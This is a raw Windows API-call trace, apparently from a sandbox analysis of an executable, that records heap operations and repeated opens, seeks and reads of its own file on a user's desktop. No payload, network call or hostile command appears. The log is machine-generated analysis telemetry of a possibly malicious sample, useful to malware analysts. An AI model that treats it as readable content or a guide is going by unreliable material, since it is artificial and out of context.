[0073.644] GetCurrentThreadId () returned 0x9b0 [0073.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.644] GetCurrentThreadId () returned 0x9b0 [0073.644] GetCurrentThreadId () returned 0x9b0 [0073.644] GetCurrentThreadId () returned 0x9b0 [0073.644] GetLastError () returned 0x2 [0073.644] GetLastError () returned 0x2 [0073.644] GetLastError () returned 0x2 [0073.644] GetLastError () returned 0x2 [0073.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a201c8 [0073.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17940 [0073.644] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17940 | out: hHeap=0x2ad0000) returned 1 [0073.644] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8afb0 [0073.644] GetLastError () returned 0x2 [0073.644] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.644] GetFileType (hFile=0x1e8) returned 0x1 [0073.644] GetLastError () returned 0x0 [0073.644] GetCurrentThreadId () returned 0x9b0 [0073.644] GetLastError () returned 0x0 [0073.644] GetFileType (hFile=0x1e8) returned 0x1 [0073.644] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0073.644] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.644] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.645] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.645] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.645] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.645] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.645] GetLastError () returned 0x0 [0073.645] GetCurrentThreadId () returned 0x9b0 [0073.645] GetLastError () returned 0x0 [0073.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afb0 | out: hHeap=0x2ad0000) returned 1 [0073.645] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a201c8 | out: hHeap=0x2ad0000) returned 1 [0073.645] GetLastError () returned 0x0 [0073.645] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7321005, lpDistanceToMoveHigh=0x9b9fe8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9fe8*=0) returned 0x6fb5ad [0073.645] GetLastError () returned 0x0 [0073.645] GetCurrentThreadId () returned 0x9b0 [0073.645] GetLastError () returned 0x0 [0073.645] GetCurrentThreadId () returned 0x9b0 [0073.645] GetLastError () returned 0x0 [0073.645] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7362049, lpDistanceToMoveHigh=0x9ba380*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba380*=0) returned 0x705601 [0073.645] GetLastError () returned 0x0 [0073.645] GetCurrentThreadId () returned 0x9b0 [0073.645] GetLastError () returned 0x0 [0073.645] GetCurrentThreadId () returned 0x9b0 [0073.645] GetLastError () returned 0x0 [0073.645] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c35f68 [0073.645] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c35f68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba334, lpOverlapped=0x0 | out: lpBuffer=0x2c35f68*, lpNumberOfBytesRead=0x9ba334*=0x1000, lpOverlapped=0x0) returned 1 [0073.646] GetLastError () returned 0x0 [0073.646] GetCurrentThreadId () returned 0x9b0 [0073.646] GetLastError () returned 0x0 [0073.646] GetCurrentThreadId () returned 0x9b0 [0073.646] GetLastError () returned 0x0 [0073.646] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b900c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b900c*=0) returned 0x706601 [0073.646] GetLastError () returned 0x0 [0073.646] GetCurrentThreadId () returned 0x9b0 [0073.646] GetLastError () returned 0x0 [0073.646] GetLastError () returned 0x0 [0073.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c35f68 | out: hHeap=0x2ad0000) returned 1 [0073.646] CloseHandle (hObject=0x1e8) returned 1 [0073.646] GetLastError () returned 0x0 [0073.646] GetCurrentThreadId () returned 0x9b0 [0073.646] GetLastError () returned 0x0 [0073.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2c35f68 [0073.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bb9c68 [0073.646] GetLastError () returned 0x0 [0073.646] GetCurrentThreadId () returned 0x9b0 [0073.646] GetLastError () returned 0x0 [0073.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c35f68 | out: hHeap=0x2ad0000) returned 1 [0073.646] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb9c68, Size=0x7a) returned 0x2bb9c68 [0073.646] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178c8 [0073.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178c8 | out: hHeap=0x2ad0000) returned 1 [0073.646] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb9c68 | out: hHeap=0x2ad0000) returned 1 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10c) returned 0x2acc480 [0073.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acc480 | out: hHeap=0x2ad0000) returned 1 [0073.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aec0 [0073.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9e20 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a5a0 | out: hHeap=0x2ad0000) returned 1 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.647] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] GetCurrentThreadId () returned 0x9b0 [0073.647] GetLastError () returned 0x0 [0073.647] GetLastError () returned 0x0 [0073.647] GetLastError () returned 0x0 [0073.648] GetLastError () returned 0x0 [0073.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1fef8 [0073.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a60 [0073.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a60 | out: hHeap=0x2ad0000) returned 1 [0073.648] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8ae90 [0073.648] GetLastError () returned 0x0 [0073.648] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.648] GetFileType (hFile=0x1e8) returned 0x1 [0073.648] GetLastError () returned 0x0 [0073.648] GetCurrentThreadId () returned 0x9b0 [0073.648] GetLastError () returned 0x0 [0073.648] GetFileType (hFile=0x1e8) returned 0x1 [0073.648] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0073.648] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.648] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.648] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.648] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.648] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.648] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.648] GetLastError () returned 0x0 [0073.648] GetCurrentThreadId () returned 0x9b0 [0073.648] GetLastError () returned 0x0 [0073.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0073.648] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fef8 | out: hHeap=0x2ad0000) returned 1 [0073.649] GetLastError () returned 0x0 [0073.649] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7362124, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x70564c [0073.649] GetLastError () returned 0x0 [0073.649] GetCurrentThreadId () returned 0x9b0 [0073.649] GetLastError () returned 0x0 [0073.649] GetCurrentThreadId () returned 0x9b0 [0073.649] GetCurrentThreadId () returned 0x9b0 [0073.649] GetLastError () returned 0x0 [0073.649] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7362124, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x70564c [0073.649] GetLastError () returned 0x0 [0073.649] GetCurrentThreadId () returned 0x9b0 [0073.649] GetLastError () returned 0x0 [0073.649] GetCurrentThreadId () returned 0x9b0 [0073.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x621) returned 0x2c35f68 [0073.649] GetLastError () returned 0x0 [0073.649] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c36598 [0073.649] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c36598, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2c36598*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0073.649] GetLastError () returned 0x0 [0073.649] GetCurrentThreadId () returned 0x9b0 [0073.649] GetLastError () returned 0x0 [0073.649] GetCurrentThreadId () returned 0x9b0 [0073.649] GetLastError () returned 0x0 [0073.649] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x70664c [0073.649] GetLastError () returned 0x0 [0073.650] GetCurrentThreadId () returned 0x9b0 [0073.650] GetLastError () returned 0x0 [0073.650] GetLastError () returned 0x0 [0073.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c36598 | out: hHeap=0x2ad0000) returned 1 [0073.650] CloseHandle (hObject=0x1e8) returned 1 [0073.650] GetLastError () returned 0x0 [0073.650] GetCurrentThreadId () returned 0x9b0 [0073.650] GetLastError () returned 0x0 [0073.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2c36598 [0073.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bb9c68 [0073.650] GetLastError () returned 0x0 [0073.650] GetCurrentThreadId () returned 0x9b0 [0073.650] GetLastError () returned 0x0 [0073.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c36598 | out: hHeap=0x2ad0000) returned 1 [0073.650] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb9c68, Size=0xe59) returned 0x2bb9c68 [0073.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c35f68 | out: hHeap=0x2ad0000) returned 1 [0073.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17868 [0073.650] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17868, Size=0x20) returned 0x2a1fb00 [0073.650] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x2e0) returned 0x2c35f68 [0073.650] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fb00, Size=0x40) returned 0x2a193b8 [0073.650] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a193b8, Size=0x64) returned 0x2a19ab8 [0073.650] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19ab8, Size=0x8c) returned 0x2ac0c08 [0073.650] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0c08, Size=0xb8) returned 0x2ac15b8 [0073.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac15b8 | out: hHeap=0x2ad0000) returned 1 [0073.650] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb9c68 | out: hHeap=0x2ad0000) returned 1 [0073.650] GetCurrentThreadId () returned 0x9b0 [0073.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b030 [0073.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b030 | out: hHeap=0x2ad0000) returned 1 [0073.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2bbd540 [0073.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afe0 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.651] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.651] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1aa00 [0073.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.651] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.651] GetCurrentThreadId () returned 0x9b0 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0073.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1aa00 | out: hHeap=0x2ad0000) returned 1 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ae60 [0073.652] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] GetCurrentThreadId () returned 0x9b0 [0073.652] GetLastError () returned 0x0 [0073.652] GetLastError () returned 0x0 [0073.653] GetLastError () returned 0x0 [0073.653] GetLastError () returned 0x0 [0073.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1ffb8 [0073.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a60 [0073.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a60 | out: hHeap=0x2ad0000) returned 1 [0073.653] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8ae90 [0073.653] GetLastError () returned 0x0 [0073.653] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9b9eb8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.653] GetFileType (hFile=0x1e8) returned 0x1 [0073.653] GetLastError () returned 0x0 [0073.653] GetCurrentThreadId () returned 0x9b0 [0073.653] GetLastError () returned 0x0 [0073.653] GetFileType (hFile=0x1e8) returned 0x1 [0073.653] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9b9f34 | out: lpFileInformation=0x9b9f34) returned 1 [0073.653] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f48, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.653] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.653] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f40, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.653] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.653] FileTimeToLocalFileTime (in: lpFileTime=0x9b9f38, lpLocalFileTime=0x9b9f78 | out: lpLocalFileTime=0x9b9f78) returned 1 [0073.653] FileTimeToSystemTime (in: lpFileTime=0x9b9f78, lpSystemTime=0x9b9f68 | out: lpSystemTime=0x9b9f68) returned 1 [0073.653] GetLastError () returned 0x0 [0073.653] GetCurrentThreadId () returned 0x9b0 [0073.653] GetLastError () returned 0x0 [0073.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0073.653] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ffb8 | out: hHeap=0x2ad0000) returned 1 [0073.654] GetLastError () returned 0x0 [0073.654] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7363672, lpDistanceToMoveHigh=0x9b9fe8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9b9fe8*=0) returned 0x705c58 [0073.654] GetLastError () returned 0x0 [0073.654] GetCurrentThreadId () returned 0x9b0 [0073.654] GetLastError () returned 0x0 [0073.654] GetCurrentThreadId () returned 0x9b0 [0073.654] GetCurrentThreadId () returned 0x9b0 [0073.654] GetLastError () returned 0x0 [0073.654] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7335827, lpDistanceToMoveHigh=0x9ba380*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba380*=0) returned 0x6fef93 [0073.654] GetLastError () returned 0x0 [0073.654] GetCurrentThreadId () returned 0x9b0 [0073.654] GetLastError () returned 0x0 [0073.654] GetCurrentThreadId () returned 0x9b0 [0073.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x128d) returned 0x2c36250 [0073.654] GetLastError () returned 0x0 [0073.654] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c36264, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba348, lpOverlapped=0x0 | out: lpBuffer=0x2c36264*, lpNumberOfBytesRead=0x9ba348*=0x1000, lpOverlapped=0x0) returned 1 [0073.654] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c374e8 [0073.654] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c374e8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba334, lpOverlapped=0x0 | out: lpBuffer=0x2c374e8*, lpNumberOfBytesRead=0x9ba334*=0x1000, lpOverlapped=0x0) returned 1 [0073.654] GetLastError () returned 0x0 [0073.654] GetCurrentThreadId () returned 0x9b0 [0073.654] GetLastError () returned 0x0 [0073.654] GetCurrentThreadId () returned 0x9b0 [0073.655] GetLastError () returned 0x0 [0073.655] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b900c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b900c*=0) returned 0x700f93 [0073.655] GetLastError () returned 0x0 [0073.655] GetCurrentThreadId () returned 0x9b0 [0073.655] GetLastError () returned 0x0 [0073.655] GetLastError () returned 0x0 [0073.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c374e8 | out: hHeap=0x2ad0000) returned 1 [0073.655] CloseHandle (hObject=0x1e8) returned 1 [0073.655] GetLastError () returned 0x0 [0073.655] GetCurrentThreadId () returned 0x9b0 [0073.655] GetLastError () returned 0x0 [0073.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2c374e8 [0073.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bbdc70 [0073.655] GetLastError () returned 0x0 [0073.655] GetCurrentThreadId () returned 0x9b0 [0073.655] GetLastError () returned 0x0 [0073.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c374e8 | out: hHeap=0x2ad0000) returned 1 [0073.655] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bbdc70, Size=0x2b49) returned 0x2bbdc70 [0073.655] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c36250 | out: hHeap=0x2ad0000) returned 1 [0073.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x31c) returned 0x2c36250 [0073.655] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b38 [0073.655] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17b38, Size=0x20) returned 0x2a1f9c0 [0073.655] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f9c0, Size=0x40) returned 0x2a191c0 [0073.655] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a191c0, Size=0x64) returned 0x2a19738 [0073.656] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19738, Size=0x8c) returned 0x2ac0618 [0073.656] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0618, Size=0xb8) returned 0x2ac1af8 [0073.656] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1af8, Size=0xe8) returned 0x2ac2890 [0073.656] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2890, Size=0x120) returned 0x2ba5620 [0073.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x7aa) returned 0x2c36578 [0073.656] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5620, Size=0x160) returned 0x2ba6910 [0073.656] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba6910, Size=0x1a8) returned 0x2ac90f8 [0073.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x213) returned 0x2c34e18 [0073.656] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac90f8, Size=0x1f8) returned 0x2ba7558 [0073.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba7558 | out: hHeap=0x2ad0000) returned 1 [0073.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bbdc70 | out: hHeap=0x2ad0000) returned 1 [0073.656] GetCurrentThreadId () returned 0x9b0 [0073.656] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afd0 [0073.656] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afd0 | out: hHeap=0x2ad0000) returned 1 [0073.656] RtlAllocateHeap (HeapHandle=0x2ad0000, 